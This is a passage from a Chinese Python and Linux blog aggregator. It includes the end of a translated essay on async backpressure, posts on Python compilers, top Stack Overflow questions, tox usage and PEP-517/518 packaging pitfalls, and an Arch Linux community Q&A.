现在,上面的示例为我们解决了 RPC 样式的情况。对于每次调用,如果系统过载了,我们会尽早得知。许多协议都有非常直接的方式来传达“服务器正在加载”的信息。例如,在 HTTP 中,你可以发出 503,并在 header 中携带一个 retry-after 字段,它会告知客户端何时可以重试。在下次重试时会添加一个重新评估的自然点,判断是否要使用相同的请求重试,或者更改某些内容。例如,如果你无法在 15 秒内重试,那么最好向用户显示这种无能,而不是显示一个无休止的加载图标。
但是,请求/响应(request/response)式的协议并不是唯一的协议。许多协议都打开了持久连接,让你传输大量的数据。在传统上,这些协议中有很多是基于 TCP 的,如前所述,它具有内置的流量控制。但是,此流量控制并没有真正通过套接字库公开,这就是为什么高级协议通常需要向其添加自己的流量控制的原因。例如,在 HTTP2 中,就存在一个自定义流量控制协议,因为 HTTP2 在单个 TCP 连接上,多路复用多个独立的数据流(streams)。
因为 TCP 在后台对流量控制进行静默式管理,这可能会使开发人员陷入一条危险的道路,他们只知从套接字中读取字节,并误以为这是所有该知道的信息。但是,TCP API 具有误导性,因为从 API 角度来看,流量控制对用户完全是隐藏的。当你设计自己的基于数据流的协议时,你需要绝对确保存在双向通信通道,即发送方不仅要发送,还要读取,以查看是否允许它们继续发。
对于数据流,关注点通常是不同的。许多数据流只是字节或数据帧的流,你不能仅在它们之间丢弃数据包。更糟糕的是:发送方通常不容易察觉到它们是否应该放慢速度。在 HTTP2 中,你需要在用户级别上不断交错地读写。你必然要在那里处理流量控制。当你在写并且被允许写入时,服务器将向你发送 WINDOW_UPDATE 帧。
这意味着数据流代码变得更为复杂,因为你首先需要编写一个可以对传入流量作控制的框架。例如,hyper-h2【7】Python 库具有令人惊讶的复杂的文件上传服务器示例,【8】该示例基于 curio 的流量控制,但是还未完成。

新步枪

async/await 很棒,但是它所鼓励编写的内容在过载时会导致灾难。一方面是因为它如此容易就排队,但同时因为在使函数变异步后,会造成 API 损坏。我只能假设这就是为什么 Python 在数据流 writer 上仍然使用不可等待的 write 函数。
不过,最大的原因是 async/await 使你可以编写许多人最初无法用线程编写的代码。我认为这是一件好事,因为它降低了实际编写大型系统的障碍。其缺点是,这也意味着许多以前对分布式系统缺乏经验的开发人员现在即使只编写一个程序,也遇到了分布式系统的许多问题。由于多路复用的性质,HTTP2 是一种非常复杂的协议,唯一合理的实现方法是基于 async/await 的例子。
遇到这些问题的不仅是 async/await 代码。例如,Dask【9】是数据科学程序员使用的 Python 并行库,尽管没有使用 async/await,但由于缺乏背压,【10】仍有一些 bug 报告提示系统内存不足。但是这些问题是相当根本的。
然而,背压的缺失是一种具有火箭筒大小的步枪。如果你太晚意识到自己构建了个怪物,那么在不对代码库进行重大更改的情况下,几乎不可能修复它,因为你可能忘了在某些本应使用异步的函数上使用异步。
其它的编程环境对此也无济于事。人们在所有编程环境中都遇到了同样的问题,包括最新版本的 go 和 Rust。即使在长期开源的非常受欢迎的项目中,找到有关“处理流程控制”或“处理背压”的开放问题(open issue)也并非罕见,因为事实证明,事后添加这一点确实很困难。例如,go 从 2014 年起就存在一个开放问题,关于给所有文件系统IO添加信号量,【11】因为它可能会使主机超载。aiohttp 有一个问题可追溯到2016年,【12】关于客户端由于背压不足而导致破坏服务器。还有很多很多的例子。
如果你查看 Python 的 hyper-h2文档,将会看到大量令人震惊的示例,其中包含类似“不处理流量控制”、“它不遵守 HTTP/2 流量控制,这是一个缺陷,但在其它方面是没问题的“,等等。在流量控制一出现的时候,我就认为它非常复杂。很容易假装这不是个问题,这就是为什么我们会处于这种混乱状态的根本原因。流量控制还会增加大量开销,并且在基准测试中效果不佳。
那么,对于你们这些异步库开发人员,这里给你们一个新年的解决方案:在文档和 API 中,赋予背压和流量控制其应得的重视。

相关链接

[1] I’m not feeling the async pressure: https://lucumr.pocoo.org/2020/1/1/async-pressure/
[3] Backpressure explained — the resisted flow of data through software: https://medium.com/@jayphelps/backpressure-explained-the-flow-of-data-through-software-2350b3e77ce7
[6] actix-service: https://docs.rs/actix-service/
[9] Dask: https://dask.org/
[11] 关于给所有文件系统IO添加信号量: https://github.com/golang/go/issues/7903
[12] 有一个问题可追溯到2016年,: https://github.com/aio-libs/aiohttp/issues/1368

January 11, 2020 12:00 AM

January 10, 2020

pythoncat

11 个最佳的 Python 编译器和解释器

原作:Archie Mistry
翻译:豌豆花下猫@Python猫
Python 是一门对初学者友好的编程语言,是一种多用途的、解释性的和面向对象的高级语言。
它拥有非常小的程序集,非常易于学习、阅读和维护。其解释器可在Windows、Linux 和 Mac OS 等多种操作系统上使用。它的可移植性和可伸缩性等特性使得它更加容易被运用。
Python 库可用于以下用途:
  • Web 开发
  • 数据科学
  • 机器学习
  • 多媒体
  • 软件开发
  • 像 Django 这样的 Web 框架
  • GUI 应用
大多数极客认为 Python 是解释性语言,但它也存在编译过程。
编译部分在代码执行时完成,并被删除。然后编译内容被转换为字节码。通过机器和操作系统进一步扩展到 Python 虚拟机。
本文重点介绍了适用于 Python 程序员的 11 种最佳的 Python 编译器和解释器。

最好的 Python 编译器和解释器

1.Brython

Brython 是一种流行的 Python 编译器,可将 Python 转换为 Javascript 代码。它提供对所有 Web 浏览器(包括一种手机 Web 浏览器)的支持。
它还支持最新的 Html5/CSS3 规范,可以使用流行的 CSS 框架,如 BootStrap3 和 LESS。

2. Pyjs

Pyjs 是一个丰富的 Internet 应用程序框架,也是一种轻量级的 Python 编译器,可以从 Web 浏览器直接执行 Python 脚本,可以从浏览器的 JS 控制台执行程序。
它是从 Python 到 Javascript 的编译器,可以使代码在 Web 浏览器上运行。它带有 Ajax 框架和 Widget Set API。

3. WinPython

它是为 Windows 操作系统设计的。它有一些 CPython 的特性。它预装了一些针对数据科学和机器学习的流行库,例如 Numpy、Pandas 和 Scipy。
它带有 C/C++ 编译器,大多数时候不会用到。除此之外,它只有 Python 编译器,没有其它包。

4.Skulpt

Skulpt 是 Python 的浏览器版实现,可以被添加到 HTML 代码中。
此 Python 编译器使用 Javascript 编写,在客户端运行代码,无需其它插件、加工或服务器支持。
Skulpt 解释器通过导入方式,来执行保存在网站上的 .py 文件中的代码。

5.Shed Skin

该编译器将 Python 标准库模块编译为 C++,它将静态类型的 Python 程序转换为很受限的优化的 C++ 代码。
通过将其内置的 Python 数据类型再次实现为自己的类集(可以用 C++ 高效实现),可以提高性能。

6.Active Python

这是用于 Windows、Linux 和 Mac Os 的 Python 发行版,有免费的社区版。
它支持在许多平台安装,某些不被 Python-like 的 AIX 支持的平台,它也支持。它提供了比 Python 更多的兼容性。

7.Transcrypt

它是一种流行的将 Python 代码编译为简单易读的 Java 代码的编译器。它是一个轻量级的 Python 编译器,支持对矩阵和向量运算进行切片。
Transcrypt 也可以在 Node.js 上运行。分层模块、多重继承和本地类给其添加了很多功能。

8. Nutika

这是一种源码到源码的 Python 编译器,可以将 Python 源代码转换为 C/C++ 可执行代码。它会使用到许多 Python 库和扩展模块。
它自带 Anaconda,可用于创建数据科学和机器学习项目。

9. Jython

它用 Java 编写,可以在运行 JVM 的任何平台上执行。Jython 将 Python代码编译为 Java 字节码,从而做到跨平台。
它可用于创建 Servelets、Swing、SWT 和 AWT 软件包的解决方案。Jython 使用 CPython 之类的全局解释器锁(GIL) 。
另外,你可以将 Java 类扩展到 Python 代码。

10. CPython

CPython 是默认的且使用最广泛的 Python 编译器。它是用 C 语言编写的,并使用 GIL(全局解释器锁),这使得并发 CPython 进程之间的通信很困难。
CPython 中的编译步骤包括:解码、令牌化、解析、抽象语法树和编译。

11. IronPython

此版本的 Python 编译器是在微软的 .Net 框架和 Mono 上实现的。
它还提供了动态编译和交互式控制台。它使得安装非常容易,并且具有跨平台兼容性。
它还具有标准库和不同的模块,主要用于实现 .Net 框架的用户界面库。

结论

Python 是一种为许多实现提供了可能的开发语言,例如 Python 到 Java,Python 到 Javascript 或其它。
Python 的这些编译器有助于我们理解它是多么的全能。

January 10, 2020 12:00 AM

2019 年 stackoverflow 网站最好的 20 个 Python 问题

在最新一期的“Python开发者周刊”(Pycoder’s weekly)里,我看到一则有意思的分享,故转出来分享给大家。
该分享来自是一份”python weekly reports“,统计了 2019 年里 stackoverflow 网站上支持数最高的 20 个问题。问题列表如下(方括号中的两个数字是其支持数与回答数):
  1. Why does Python’s hash of infinity have the digits of π? - [236/3]
  2. Is there a more elegant way to express ((x == a and y == b) or (x == b and y == a))? - [105/10]
  3. Why can I use a list index as an indexing variable in a for loop? - [92/6]
  4. Why does (inf + 0j)*1 evaluate to inf + nanj? - [93/4]
  5. Why is f’{{{74}}}’ the same as f’{{74}}’ with f-Strings? - [88/1]
  6. Why does b+=(4,) work and b = b + (4,) doesn’t work when b is a list? - [75/7]
  7. Why does Python start at index -1 (as opposed to 0) when indexing a list from the end? - [79/7]
  8. Why is TensorFlow 2 much slower than TensorFlow 1? - [104/2]
  9. Randomness of Python’s random - [70/4]
  10. Why does Python allow out-of-range slice indexes for sequences? - [72/2]
  11. Unexpected behaviour with Python generator - [57/8]
  12. What exactly is meant by “partial function” in functional programming? - [55/3]
  13. What does a yield inside a yield do? - [56/4]
  14. Issues implementing the “Wave Collapse Function” algorithm in Python 2.7 - [52/2]
  15. Should linear read-shuffled write always be faster than shuffled read-linear write? (Was: Why is fancy assignment slower than fancy lookup?) - [53/5]
  16. How to write 2**n - 1 as a recursive function? - [49/7]
  17. Why is a for loop so much faster to count True values? - [53/5]
  18. Is there a difference between board[x, y\] and board[x][y] in Python? - [47/6]
  19. Why was p[:] designed to work differently in these two situations?- [51/6]
  20. Jupyter notebook: No connection to server because websocket connection fails - [46/4]
不用怀疑,这些内容的支持数和回答数就是那么少。不过也需注意,它统计的是问题本身的支持数,而不是回答的支持数(尽管回答的支持数也很少)。
还有一点需注意,这份报告并非 stackoverflow 网站的官方报告,而且文中也未说明统计口径与筛选标准,所以我们姑且一看。
有些问题可能挺怪的,或者平时不大可能考虑到,比如关于列表的两个问题:为什么从列表末尾查找时是从 -1 开始?为什么列表的切片允许越界?
不少回答都挺有专业精神,往往会带来新的视角和知识信息。比如,关于列表的 -1 索引问题,高票回答中提到了“~”运算符,有这样的用法:
arr = ["a", "b", "c", "d"]
print(arr[~0])   # d
print(arr[~1])   # c
让人眼前一亮!
还有一个问题是:如何优雅地计算 ((x == a and y == b) or (x == b and y == a)) 这个形式的结果?
高票回答是这样:
初一看,就像看人变戏法一样……
其它问题和回答就不一一说明了,建议感兴趣的同学按图索骥,按部就班,顺藤摸瓜,顺手牵羊……

链接清单:

January 10, 2020 12:00 AM

January 06, 2020

pythoncat

Python 任务自动化工具 tox 教程

在我刚翻译完的 Python 打包系列文章中,作者提到了一个神奇的测试工具 tox,而且他本人就是 tox 的维护者之一。趁着话题的相关性,本文将对它做简单的介绍,说不定大家在开发项目时能够用得上。

Command line driven CI frontend and development task automation tool

命令行驱动的 CI 前端和开发任务自动化工具

tox 的项目地址是:https://github.com/tox-dev/tox
其核心作用是支持创建隔离的 Python 环境,在里面可以安装不同版本的 Python 解释器与各种依赖库,以此方便开发者做自动化测试、打包、持续集成等事情。
简单来说,tox 是一个管理测试虚拟环境的命令行工具。 它已存在多年且广被开发者们使用,例如,著名的云计算平台 OpenStack 也采用了它,作为最基础的测试工具之一。

1、tox 能做什么?

细分的用途包括:
  • 创建开发环境
  • 运行静态代码分析与测试工具
  • 自动化构建包
  • 针对 tox 构建的软件包运行测试
  • 检查软件包是否能在不同的 Python 版本/解释器中顺利安装
  • 统一持续集成(CI)和基于命令行的测试
  • 创建和部署项目文档
  • 将软件包发布到 PyPI 或任何其它平台
tox 官方文档中列出了 40 余种使用场景的示例,详细的列表可查看:https://tox.readthedocs.io/en/latest/examples.html

2、tox 怎么配置?

关于它的用法:使用pip install tox 安装,使用tox 运行全部测试环境,和tox -e envname 运行指定的环境。还有不少的命令行参数,通过tox -h 查看。
tox 的行为由其配置文件控制,当前它支持 3 种配置文件:
  1. pyproject.toml
  2. tox.ini
  3. setup.cfg
以 tox 项目自己的 tox.ini 配置内容为例,可以看到它是这样配置的(https://github.com/tox-dev/tox/blob/master/tox.ini):
每个[xxx]及其下方内容组成一个章节(section),每个章节间使用空行作间隔。
[tox]下面是全局性的配置项,envlist 字段定义了 tox 去操作的环境。[xxx]下面是 xxx 虚拟环境的配置项,[xxx:yyy]继承 xxx 的配置,同时其自身配置项的优先级更高。
对于每个虚拟环境,可用的配置项很多,例如常用的有:description(描述信息)、basepython(Python解释器版本)、deps(环境依赖项)、commands(命令语句)等等。
tox 还支持作变量替换,它提供了一些内置的基础变量(全局的或对于虚拟环境的):{toxinidir}、{homedir}、{envname}、{envdir}等等。
除了基础性的变量替换,它还支持这些高级用法:
  • 取操作系统的环境变量:{env:KEY},效果等同于os.environ['KEY'] 。可以变化成:{env:KEY:DEFAULTVALUE},在取不到环境变量时则使用默认值;{env:KEY:{env:DEFAULT_OF_KEY}},达到 if-else 的取值效果
  • 传递命令行参数:{posargs:DEFAULTS},当没有命令行参数时,使用 DEFAULTS 值。使用方式:tox arg1 arg2 传两个参,或者tox -- --opt1 arg1 将“— opt1 arg1”作为整体传入。
  • 章节间传值:{[sectionname]valuename},不同章节的内容可以传递使用。
  • 交互式控制台注入:{tty:ON_VALUE:OFF_VALUE},当交互式 shell 控制台开启时,使用第一个值,否则使用第二个。pytest 在使用“—pdb”时,是这样的例子。
花括号“{}”除了可以做变量替换使用,它还可以作为“或关系”判断的取值。直接看下面的例子:
[tox]
envlist = {py27,py36}-django{15,16}
{py27,py36}-django{15,16} 的 2 组花括号内各有 2 个值,它们实际可以组合成 4 个环境:py27-django15、py27-django16、py36-django15、py36-django16。
关于 tox 有哪些配置项、使用条件、什么含义、高级用法等等内容,可在官方文档中查看:https://tox.readthedocs.io/en/latest/config.html

3、tox 的插件化

除了自身强大的可配置性,tox 还具有很强的可扩展性,它是可插拔的(pluggable),围绕它产生了一个极为丰富的插件生态。
使用pip search tox ,可以看到数量众多的“tox-”开头的库,它们都是 tox 的插件包。其中不乏 setuptools、pipenv、conda、travis、pytest、docker 等被大家熟知的名字。
tox 开放了挺多的 API 接口,方便其他人定制开发插件。

4、tox 的工作流程

接下来看看 tox 是怎么运作的:
其工作流程中主要的环节有:
  • 配置(从figuration):加载配置文件(如 tox.ini),解析命令行参数,读取系统环境变量等
  • 打包(packaging):可选的,对于带有 setup.py 文件的项目,可以在这步去生成它的源发行版
  • 创建虚拟环境:默认使用 virtualenv 来创建虚拟环境,并根据配置项中的“deps”安装所需的依赖项,然后执行配置好的命令(commands)
  • 报告(report):汇总所有虚拟环境的运行结果并罗列出来

5、小结

tox 本身定位是一个测试工具,它试图令 Pytho 测试工作变得自动化、标准化与流程化。但跟 unittest 和 pytest 这些测试框架不同,它作用的是代码层面之外的事情,是一种项目级的工具。因此,它需要跟这些测试框架相结合,或者同时处理多种自动化任务(如跑 pep8、测代码覆盖率、生成文档等等),这样才能更好地发挥它的价值。
它的一大特色在于创建/管理虚拟环境,但这只是为了方便测试而使用的手段,因此相比其它可管理虚拟环境的工具,如 Virtualenvwrapper、conda、pipenv、poetry,它在某些方面就存在着不足。
tox 还有强大的可配置性与丰富的插件支持,这使得它在运用上具有很大的可能性与自由度。因此,不少忠实开发者仍在持续地在使用它,比如,我刚翻译好的系列文章的作者就是它的维护者之一。
最后还需补充一点,tox 使用配置文件作驱动,但配置文件还是挺繁琐的,因此有人开发了一个跟 tox 相似的nox,使用 Python 文件来做配置。这个项目也很受欢迎,吸引了很多项目投入其门下,例如 pipx、urllib3、Salt 等等。对该项目感兴趣的话,请查看:https://nox.thea.codes/en/stable/

January 06, 2020 12:00 AM

January 05, 2020

farseerfc

和萌狼交換問題

很抱歉萌狼很早就提過交換問題的事,被我一直咕咕了許久。 拖延症晚期有藥麼

我的提問和萌狼的回答

可以去萌狼的博客上看呀

Q1:除了博客的「关于」页面以外,还愿意再向咱介绍一下自己嘛?

介紹自己啊。 寫了刪刪了寫,不知道該介紹點啥 就說點自己的興趣?

喜歡自由開源軟件,喜歡 Arch Linux 。喜歡這些倒不是出於 RMS 和 FSF 那樣道義上的原因, 我覺得商業軟件公司要賺錢吃飯也是無可厚非的。

喜歡自由軟件是因爲,當我需要知道它到底怎麼工作的時候,有可能去挖代碼,必要的話能去改代碼。 當然我一個人肯定不能讀所有在用的軟件,但是我知道我有讀和修改代碼的權利的話, 那麼我認識的朋友們也同樣有這樣的權利,我不認識的廣大社區有千千萬萬的人也同樣有這樣的權利, 從而我相信當我遇到問題的時候不至於卡在某些人某些公司某些集體的決策上而無法解決。

基於這個理由,我對開源社區也同樣有公開全部細節的期待。我喜歡 Arch Linux 因爲即便它的內部決策只是一小波人,但是導致決策的討論以及決策的執行方式全是公開的,可以在網上翻閱, 可以追根溯源,這讓我有種安心感。就像我不喜歡 Manjaro 的一點是它有太多細節是翻閱不到的, 雖然它也是開源社區,但是打包細節翻閱不到,包列表翻閱不到,決策的制定和執行的過程也翻閱不到, 通常就只是在他們的論壇上發個通知了事,這我很不喜歡。

除了喜歡自由開源軟件之外,可能我在網上比較有特點的地方是用繁體字了吧, 也曾經年幼時在水木社區和別人因爲這個吵過嘴,也在 知乎上寫過篇「在知乎用繁體字是怎樣一種體驗」 。 致力於在我存在的地方爲繁體字愛好者們提供一個安逸的環境,不過好像最近也不見很多反對的聲音了。

除了網上之外,現實中的自己嘛,特點可能算是不知道自己屬於哪兒了……一個漂泊的人。 小時候8歲前在陝西長大,把自己當作陝西人,但是身邊的鄰里街坊們卻以河南人和江浙人居多。 廠辦環境,好幾個大型重工都從江浙搬到了陝西秦川一帶,加上國共內戰的時候河南黃河缺口造成的難民慌西逃, 構成了當時廠辦的主要人口拿着城市戶口,反而是當地的陝西人都是農民戶口, 於是和廠辦子弟們形成了鮮明的隔閡。我對社會主義,對蘇式廠辦,對整個國家結構的理解大概也是從那兒來的。 跟着鄰里們學會了河南話,在家裏說普通話,從老一輩們身上又學會了江浙的語調。 都說一個廠辦是一個社會的縮影,那時候的環境可能算聚集了全國東南西北的樣子吧。 8、9歲左右隨父母到了上海,因爲不會說上海話受同學們排擠,倒也不是很在意,漸漸和同學們學起了上海話, 可能還參雜點爺爺奶奶的江蘇方言。十多年後考入大學,五湖四海的同學都有,就不算是在上海了。 大學畢業來了日本,一晃又是7年過去。至此我大概比起同齡人接觸到更多全國各地的人, 也分不清自己的歸屬地了。但有一條,我知道自己是個中國人,爲自己是個中國人自豪,覺得雖在他鄉, 該爲中國做點自己的貢獻。

Q2:现在这个名字是怎么想到的呢?

farseerfc 這個名字嘛,來自 firechild 這個更早的網名,和魔獸爭霸裏面 farseer 這個英雄。 farseer 本算是 Anglish ,以日耳曼語系的構詞法再造的英語詞,對應拉丁構詞法的話 far = tele , seer = visioner ,於是 farseer 也就是 tele-visioner ,看得遠的人,電視一詞 television 的原本的詞幹的衍生詞。 不過說爲什麼選 farseer 這個名字,更多是爲了符合 fc 這個縮寫,而 fc 來自 firechild 這個詞。 再深挖黑歷史也不再有什麼意義了, farseerfc 作爲網名只是一直以來的習慣吧。

Q3:觉得咱俩之间最令汝印象深刻的时候是什么?

近期來看,印象最深刻的可能算是起草 Arch Linux 中文社区交流群指引 吧,看得出萌狼對社區發展的熱心和好意。

再往前,印象深刻的時候可能是萌狼用 Pelican 搭博客吧,最初認識萌狼的時候覺得是 MediaWiki 方面的行家,還以爲博客也會繼續用 MediaWiki 打造,沒想到能吃了 Pelican 的安利,外加萌狼寫博文的產量着實讓人望塵莫及。

然後 ArchWiki 上 Beginner's Guide 被刪除之後,萌狼的博客多了一篇爲新人們寫的入門安裝手冊, 配有完整截圖指引,詳盡程度令人感嘆。感覺得到萌狼作爲一個「過來人」對新人們的照顧。 每次羣中鬧起爭執,老用戶們對新人發起調侃的時候,也是萌狼站出來爲新人們解圍, 幫助有能力的人適應羣裏的討論環境。或許最初寫交流羣指引的時候也是出於這樣的良苦用心吧。

Q4:对咱的印象怎么样?

最早來 Arch Linux CN 的時候,似乎萌狼還不叫萌狼?不記得那時候用的名字了。只記得來自 AOSC ,和那邊一衆談笑風聲,着實令人羨慕,經常跑他們的聚會也令人羨慕。

後來有了萌狼的名字,群裏的狼們也漸漸多了起來,一時間都分不清哪個狼是哪個了。 不過萌狼的口癖和說話方式總是在狼羣中非常有標誌性。

後來似乎發生了好多事情,我不知道的事情,也不敢妄加揣測。萌狼開始變身音遊大佬, 羣裏的別的狼們漸漸也各忙東西。不知道什麼原因,萌狼會偶爾退群,想問下前因後果, 又覺得自己不該多管閒事。不過無論萌狼退羣多少次,總是在默默關心着社區發展, 關心着新人融入社區的環境。

似乎萌狼加入了 FSF ?玩起了 Parabola ,玩起了 linux-libre 。有能跑起完全自由的發行版的設備, 這一點也非常令人羨慕。似乎有很多設備,但是似乎又很不滿於現狀。看得出萌狼爲了理想放棄了很多東西, 或許大家都是如此吧,也或許只是我多心。

還有就是萌狼用 Gnome ,感覺 AOSC 那邊很多人都用 Gnome ,給 Gnome 貢獻翻譯之類的, 萌狼或許也是其中一員。DE 黨爭是水羣久勝不衰的話題,或許我也有些責任,但是我覺得以發行版角度而言 DE 多樣性非常重要,萌狼在社區中的作用也不可或缺。

Q5:在汝用过的 GNU/Linux 发行版之间汝最喜欢的是哪一个,为啥咧?

最喜歡的當然是 Arch Linux 啦,喜歡的理由前面 Q1 算是提到了一些。其實別的發行版的很多特性也很眼饞, 眼饞 Fedora Silverblue 的 A/B 更新機制,眼饞 Fedora 的 SELinux 和諸多企業級特性支援,眼饞 openSUSE 的 OBS 和 btrfs 支持,眼饞 debian 的小巧和細化打包,眼饞 NixOS 的函數式包管理, 眼饞 Gentoo 的可定製性,眼饞 Parabola / GuixSD 的完全自由。

但是總得來說, Arch Linux 提供的基礎足夠讓我折騰系統成自己喜歡的方式,足夠順手, 也在需要軟件的時候足夠自己打包使用,不需要等待某些遠在天邊的議會做決策,或許是讓我留在 Arch Linux 的原因吧(當然更大原因可能是因爲慣性)。發行版之間的技術區別可能並不那麼重要, 重要的是該幹活的時候能找到幹活的人,這一點 Arch Linux 還是有很多人在認真做事情的。 沒有繁瑣的議會投票表決,沒有細碎的打包步驟,用最快的方式把活幹了,這在我看來是最重要的。

或許有一天,幹活的人沒了,或者我想要的特殊特性因爲太複雜沒人想帶頭幹,而別的發行版有, 那時可能我會換去別的發行版吧。又或許我會自己幹,誰知道呢。

比起發行版之爭,甚至比起 Linux/Windows/macOS 的桌面系統地位之爭,可能日後更關鍵的是別的平臺 比如 Android 在手持設備甚至物聯網設備上的興起導致的 PC 桌面的衰落。雖然這些新設備大多都是跑着 Linux 的內核,但是其上的生態環境不能說像 GNU/Linux 那樣自由。這一點上,自由軟件該如何發揮優勢 爭取用戶和生態可能是更關鍵的。

當然這些都於我而言過於遙遠,一人之力難挽狂瀾……我只希望自己和朋友們所在的自由的土地能保持下去, 或許我也僅能做到這些。

Q6:在 Arch Linux 做 Trusted Users 时有没有什么心得?

說來非常慚愧,做 TU 這麼4年了,實際做的事情着實有限,只能隔幾天打打包而已。要做的事情太多, 而自己上面也說了有幹活的人最重要,設身處地深刻體會到在開源社區的諸位志願者們大家都不容易。

TU 應該做的事情,細數一下除了給 community 打包之外,還有處理包的 bug ,處理 AUR 的爭議, 測試新包給反饋,以及溝通和反饋上游。反觀自己做的事情,真的太少了。比起肥貓和其他 TU 們的辛勤, 總覺得自己不夠格。「精力有限,憑着志願者熱情」,什麼的說辭可以說很多, 但是良心上對着自己熱愛的事情卻不能百分百撲上去做,真的沒有顏面腆着臉說……

打包和溝通上游之類的心得倒是有不少,也一直想寫點筆記記錄一下,挖坑卻沒時間填上。該說, 或許應該換個本職工作了,又想,孰重孰輕哪邊是本行需要自己掂量。

Q7:有什么话要对咱说嘛?

不知何時起,不知萌狼經歷了什麼,有時候感覺萌狼傲嬌的性格讓人看不透,不過事後能看出萌狼都是本着好心。 或許,如果能更坦誠一些的話,也能更融入大家吧。雖然我也沒資格這麼說。

像前面寫的,隱約能感覺到萌狼似乎爲了理想放棄了很多,孰重孰輕是每個人自己的權衡。

以及還有感謝,感謝萌狼把我當作朋友,感謝萌狼的耐心。

最後還有抱歉,這篇拖了太久,是該治治我的拖延症了。

by farseerfc at January 05, 2020 08:51 AM

pythoncat

Python 官方团队在打包项目中踩过的坑

花下猫语:这是 packaging 系列的第三篇译文,该系列是全网关于此话题的最详尽(水平也很高)的一个系列。原作者是 Python 官方打包团队成员,是 virtualenv 和 tox 项目的维护者,及 setuptools 和 pip 项目的贡献者。

原作 | BERNAT GABOR
译者 | 豌豆花下猫
声明 :本文获得原作者授权翻译,转载请保留原文出处,请勿用于商业或非法用途。

在前两篇文章中,我介绍了Python 具有的包类型以及包的构建方式,尤其介绍了 PEP-517/518。尽管这些更改主要是为了使打包变得更健壮,但是在实施和发布时,我们却遇到了一些问题。这篇文章将介绍一部分,希望可以为大家提供经验教训,并提出一些有趣的问题以待将来解决。
查看 PEP-517 和 PEP-518 的改动,可以认为构建后端(亦即 setuptools、flit)几乎没有做什么,只是通过 Python 模块提供了功能接口。大部分繁重的工作都在构建前端上,它需要生成隔离的 Python,然后以新的方式调用构建后端。如今当我们谈论构建前端时,我们的选项主要是 pip 或 poetry(和开发者的 tox)。
这些项目由社区维护,由少数活跃的开发者在空闲时间维护。他们并没有因此获得报酬,而且需要谨慎考虑这些工具被使用的多种方式。考虑到这一点,在 PEP 被接受之后,还花了几乎两年时间才首次实施就不足为奇了。计划、测试和实施已经在背后进行了一年多。
但是,尽管做了所有准备工作,不可避免的是,第一版确实破坏了一些软件包,在大多数情况下,人们做的某些操作使维护人员感到惊讶。让我们试着了解其中一些例子,以及它们是如何被解决的。
Mink Mingle摄/Unsplash—准备好出发!

PEP-518

此 PEP 引入了TOML文件格式。 【2】一种专门为了易于读/写配置而创建的格式。尽管在build-system部分下介绍了打包配置,但其它工具可以自由地将其配置放在tool:name部分下,因为它们拥有 PyPi 命名空间中的名字。各种工具立即开始利用这一点(例如Towncrier【3】、 black【4】等)。
pip 18.0(于2018年7月22日发布) 【5】添加对 PEP-518 包的支持时,使用 pyproject.toml 最早出问题,因为 PEP-518 要求所有带 pyproject.toml 的软件包必须指定 build-backend 部分。但是,软件包事先仅将其用于其它项目的配置文件,由于它们没有事先指定它,当 pip 碰到这些文件时,就会引发错误,提示 pyproject.toml 文件无效。

PEP-517

pip wheel 缓存问题

pip 在 PEP-517 世界中的安装方式是首先生成一个 wheel,然后将其提取。要进入 PEP-517 世界,必须指定 build-backend 键,否则每条声明都需要退回到使用 setup.py 命令。
当 pip 构建 wheel 时,默认情况下会通过缓存系统完成。这是一种提速机制,为了在多个虚拟环境需要同一个 wheel 时,我们不用对其进行重建,而是重复使用它。PEP-517 wheel 的构建操作也利用了这一机制。
但是,当你禁用缓存时,这就变得很麻烦。因为没有目标文件夹可用于构建 wheel。所以构建过程将失败,请参阅附录的问题。【6】这个问题虽然很早就显现出来了,但由于大多数 CI 系统都在启用该选项的情况下运行。仅在一天后,pip 19.0.1 修复了该问题。

pyproject.toml 没有加入 setuptools 中

事实证明,构建后端实际上要做的工作不仅仅是 PEP-517 中描述的公开其 API。后端还需要确保 pyproject.toml 被附加到已构建的源码包中,否则用户计算机上的构建后端将无法使用它。setuptools 1650【7】将为setuptools【8】修复此问题,在早期版本中,只需在 MANIFEST.in 中指定 pyproject.toml 即可。
Jorge Zapata摄/Unsplash—什么?!那永远不会发生

从 setup.py 中导入构建的包

另一个意外问题是从 setup.py 内导入软件包时。按照约定,软件包的版本既作为软件包的元数据公开(setup.py 中的 setuptools,setup 函数的 version 参数),也在软件包根目录的__version__ 变量公开。可以在两个地方都指定变量的内容,但是要使其保持同步就很麻烦。
一种解决方法:许多程序包将其放在根目录的 version.py 中,然后同时从 setup.py 和程序包根目录导入它,像这样from mypy.version import __version__ as version。这能起作用,因为当有人调用 Python 脚本时,当前的工作目录会自动被添加到 sys.path 中(因此你可以导入公开在其下的内容)。
但是,这种添加当前工作目录的行为从来不是强制的,更多的是通过python setup.py sdist 调用构建时,产生的副作用。由于这种行为是副作用(并非保证),因此从 setup.py 导入的所有项目都应在构建开始时,将脚本文件夹显式地添加到 sys 路径。
是否该在打包期间(当尚未构建/分发时)导入已编译的软件包,这尚有争议(尽管 Python 打包组倾向于这样做)。然而,实际上当 setuptools 通过 setuptools.build_meta 暴露其接口时,它选择不把当前工作目录添加到系统路径。
PEP 从未要求后端做此添加,因为大多数构建后端(本质上是声明式的)根本不需要它。因此,此类功能被认为是前端的责任。setuptools 认为,如果用户需要此功能,则应在 setup.py 中明确指出,并提前手动在 sys.path 中添加相应的路径。
为了简化 pip 代码库,pip 决定加入 PEP-517,让所有人在 setuptools 后端加上 pyproject.toml。现在因为这个问题,即使没有选择加入 PEP-517 的程序包也出现崩溃。为了解决这个问题,setuptools 添加了一个新的构建后端(setuptools.build_meta:__ legacy__),当未指定构建后端时,前端可将其用作默认值;当项目添加 build-backend 键时,它们还必须更改其 setup.py,要么将源码根目录添加到 sys.path,要么避免从源码根目录导入。

自举的后端

还出现了另一个有趣的问题,该问题的用户群更加紧密,但是却暴露了一个有趣的问题。如果我们不想使用 wheel,我们只能通过源发行版进行设置;我们应该如何解决”如何提供构建后端的构建后端的问题“?例如,setuptools 通过setuptools 打包自身。也即当 setuptools 通过 PEP-517 指定了这一点时,构建前端将被放入无限循环内。
要安装 pugs 库,它首先会尝试创建一个隔离的环境。这个环境需要 setuptools ,因此构建前端就需要构建一个 wheel 来满足它。wheel 构建本身将触发隔离环境的创建,该环境又依赖于 setuptools。
如何打破这个循环?要求所有构建后端必须暴露为 wheel?允许后端构建自身?这些自建后端是否应该负担依赖项?漫长的各种观点间争论,利与弊,所以如果你有兴趣,请进入python Discourse board【9】,发表你的意见。
Sneaky Elbow摄/Unsplash—我们是一伙的

小结

